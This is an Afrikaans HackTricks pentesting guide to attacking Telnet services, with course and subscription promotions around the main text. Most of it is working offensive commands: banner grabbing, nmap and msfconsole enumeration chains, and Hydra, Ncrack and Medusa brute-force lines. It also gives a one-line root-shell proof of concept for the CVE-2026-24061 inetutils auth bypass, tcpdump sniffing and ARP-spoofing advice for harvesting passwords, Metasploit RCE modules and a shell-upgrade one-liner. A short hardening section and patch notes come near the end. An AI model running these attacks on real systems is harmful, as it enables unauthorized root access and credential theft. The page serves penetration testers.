23 - Pentesting Telnet
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Telnet is ’n netwerkprotokol wat gebruikers ’n onveilige manier bied om toegang tot ’n rekenaar oor ’n netwerk te kry.
Standaardpoort: 23
23/tcp open telnet
Enumerasie
Banner Grabbing
nc -vn <IP> 23
Alle interessante enumerering kan deur nmap uitgevoer word:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Die skrip telnet-ntlm-info.nse sal NTLM-inligting (Windows-weergawes) bekom.
From the telnet RFC: In die TELNET Protocol is daar verskeie “opsies” wat gesanctioneer sal word en moontlik gebruik kan word met die “DO, DON’T, WILL, WON’T” struktuur om ’n gebruiker en bediener toe te laat om te ooreenkom om ’n meer uitgebreide (of dalk net verskillende) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
Ek weet dit is moontlik om hierdie opsies te identifiseer, maar ek weet nie hoe nie — laat weet as jy weet hoe.
Enumereer Telnet Opsies / Kenmerke
Telnet gebruik IAC + DO/DONT/WILL/WONT onderhandelings om opsies te aktiveer. Jy kan ondersteunde opsies waarneem deur die aanvanklike onderhandeling vas te vang en deur spesifieke funksies te probeer.
Nmap option/feature probes
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
Die telnet-encryption-skrip kontroleer of die ENCRYPT-opsie ondersteun word; sommige implementasies het histories hierdie opsie verkeerd hanteer en was kwesbaar, maar die skrip kontroleer slegs ondersteuning.
telnet-ntlm-info onthul NTLM-metadata (NetBIOS/DNS/OS build) wanneer Microsoft Telnet NTLM aangeskakel is.
telnet-brute is ’n NSE brute-force ouditor vir Telnet.
Brute force
Konfigurasielêer
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Outomatiese Opdragte
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Onlangse Kwesbaarhede (2022–2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Onvoldoende invoerverifiëring in die telnet-diens laat afgeleë aanvallers toe om in te teken met vasgekodeerde geloofsbriewe en OS-opdragte in te voeg; reggestel in firmware 1.04B05 of later.
- CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow in die Telnet CLI
passwdopdrag maak network-adjacent code-execution as root moontlik; verifikasie is benodig maar kan omseil word. - CVE-2022-39028 – GNU inetutils telnetd: ’n twee-byte volgorde (
0xff 0xf7/0xff 0xf8) kan ’n NULL-pointer dereference intelnetdveroorsaak, en herhaalde ineenstortings kan veroorsaak dat inetd die diens deaktiveer (DoS).
Hou hierdie CVEs in gedagte tydens kwesbaarheidstriage — as die teiken ’n nie-gepatchte firmware of ’n legacy inetutils Telnet daemon bestuur, kan jy ’n direkte pad na code-execution of ’n ontwrigtende DoS hê.
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Krities)
Primitive: Telnet NEW_ENVIRON laat kliënte omgewingsveranderlikes tydens opsie-onderhandeling instel; inetutils telnetd vervang %U in sy login-sjabloon met getenv("USER") en gee dit direk aan /usr/bin/login, wat argv-level option injection moontlik maak (geen shell-uitbreiding nie).
Worteloorsaak: weergawes 1.9.3–2.7 brei %U uit sonder filtering, sodat ’n USER-waarde wat met - begin as ’n login-vlag ontleed word. Byvoorbeeld, %U word -f root, wat /usr/bin/login -h <hostname> "-f root" oplewer en omseil verifikasie deur login -f.
Exploit vloei:
- Skakel met die Telnet-diens en onderhandel NEW_ENVIRON om
USER=-f rootte stel. telnetdbou die login argv wat die aanvaller-beheerde%U-waarde insluit./usr/bin/logininterpreteer-f rootas “pre-authenticated user root” en skep ’n root shell.
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
Patch-opmerking: inetutils 2.7-2 stel ’n sanitize() helper in wat waardes wat begin met - of witspasie/metategens bevat weier voordat dit in die login argv vervang word, en sodoende option injection blokkeer.
Opsporing/verifikasie: identifiseer blootgestelde daemons met telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, of netstat -tlnp | grep :23.
Versagtingsmaatreëls
- Patch/upgrade aangetaste pakkette onmiddellik (bv., Debian-fixes is in
2:2.4-2+deb12u2,2:2.6-3+deb13u1, en2:2.7-2). - Disable Telnet of beperk toegang tot vertroude management-netwerke terwyl jy opdateer.
Sniffing Credentials & Man-in-the-Middle
Telnet stuur alles, insluitend credentials, in clear-text. Twee vinnige maniere om dit te capture:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Vir aktiewe MITM, kombineer ARP spoofing (e.g. arpspoof/ettercap) met dieselfde sniffing filters om wagwoorde op switched netwerke te oes.
Geoutomatiseerde Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Die meeste IoT botnets (Mirai-variantes) scan steeds port 23 met klein default-credential dictionaries—dieselfde logika kan vinnig swak toestelle identifiseer.
Uitbuiting & Post-Uitbuiting
Metasploit het verskeie nuttige modules:
auxiliary/scanner/telnet/telnet_version– banner & opsie-enumerasie.auxiliary/scanner/telnet/brute_telnet– multithreaded bruteforce.auxiliary/scanner/telnet/telnet_encrypt_overflow– RCE teen kwesbare Solaris 9/10 Telnet (optie ENCRYPT hantering).exploit/linux/mips/netgear_telnetenable– skakel telnet-diens aan met ’n vervaardigde pakket op baie NETGEAR routers.
Nadat ’n shell verkry is, onthou dat TTYs gewoonlik dom is; opgradeer met python -c 'import pty;pty.spawn("/bin/bash")' of gebruik die HackTricks TTY tricks.
Hardening & Opsporing (Blue team corner)
- Gee voorkeur aan SSH en skakel die Telnet-diens heeltemal af.
- As Telnet vereis is, bind dit slegs aan management VLANs, handhaaf ACLs en draai die daemon met TCP wrappers (
/etc/hosts.allow). - Vervang legacy
telnetd-implementasies metssl-telnetoftelnetd-sslom transportenkripsie by te voeg, maar dit beskerm slegs data-in-transit—password-guessing bly eenvoudig. - Monitor uitgaande verkeer na port 23; kompromitteerings skep dikwels reverse shells oor Telnet om streng-HTTP egress-filters te omseil.
Verwysings
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


